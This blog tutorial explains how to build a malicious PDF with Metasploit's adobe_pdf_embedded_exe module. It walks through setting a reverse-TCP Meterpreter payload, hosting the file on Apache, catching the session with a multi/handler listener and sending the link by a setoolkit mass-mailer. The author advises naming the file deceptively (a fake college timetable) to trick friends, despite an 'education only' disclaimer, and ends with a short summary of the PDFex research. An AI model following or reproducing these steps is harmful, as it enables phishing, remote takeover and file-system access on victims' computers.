Payload Generation using Metasploit Framework

I hope you guys read my previous blog "Steganography attack via PDF Files" and ready for a hands on session. We will be creating a malicious PDF by embedding payload in it using Metasploit. 

"Only for Education Use"

Block diagram for Steganography attack

How to exploit PDF using Metasploit Framework?

Software Required:

a) Metasploit Framework. 

b) Kali Linux OS – Attacker Machine.

c) Windows 7 – Victim Machine.

In our metasploit framework/console we search the type of exploit for our PDF file and type adobe_pdf_embedded_exe.

Step 1: First we need to start our apache server. This is done to host our malicious pdf so that the victim will download on his/her machine.

Step 2: Start msf console in the terminal and type the exploit cmd : use exploit/windows/fileformat/adobe_pdf_embedded_exe.

Step 3: We look at the description for the type of exploit and also got information about the vulnerable targets.

Now set the payload windows/meterpreter/reverse_tcp to return the meterpreter script when exploit is successfully performed. 

Remember to change the file name so as to trick the victim. For example I changed my filename to VIT_TIMETABLE_FALL_2020.pdf. so that I can send it to my college friends.

Step 4:  We look at the option and set the lhost to our machine IP address. 

To know your machine ip address type ifconfig -a in the terminal which will display all active/inactive network interfaces on server. Example: My virtual machine ip address is 

Now type the cmd: exploit which creates our malicious pdf and this is hosted by our apache server.

Then we set up a listener to capture this reverse connection. We will use msfconsole to set up our multi handler listener.

Cmd: use exploit/multi/handler

Step 5: We had now setup the reverse_tcp connection and type the cmd: run.

Step 6: Our victim machine is Windows 7 and he/she has opened our malicious pdf. This created a connection in our attacker machine: kali and a meterpreter session is opened.

How did the victim download our PDF file?

Our apache server was started initially to host our PDF file. This link was sent using mass mailer attack via setoolkit (social engineering tool).

The victim clicks on the link mailed to him to download his/her file.

Step 7: We now have access to the windows FILE SYSTEM.

For example I have rebooted the victim machine.


Summing up, I hope you learnt how to exploit a PDF file using Metasploit framework and would like to share a latest news regarding steganography.

Recently some academics have developed a new attack that can extract and steal data from encrypted PDF files without user interaction. They termed it as PDFex. 

There are two variations for the above which are:
1) Direct exfiltration- takes advantage where not all parts of the PDF file are encrypted which leaves attackers to tamper with the unencrypted field.
2) PDFex CBC gadget attack – Going after the encrypted ones and these are pieces of code that run against encrypted content and modify the plaintext data at its source.


Siddarth Singaravel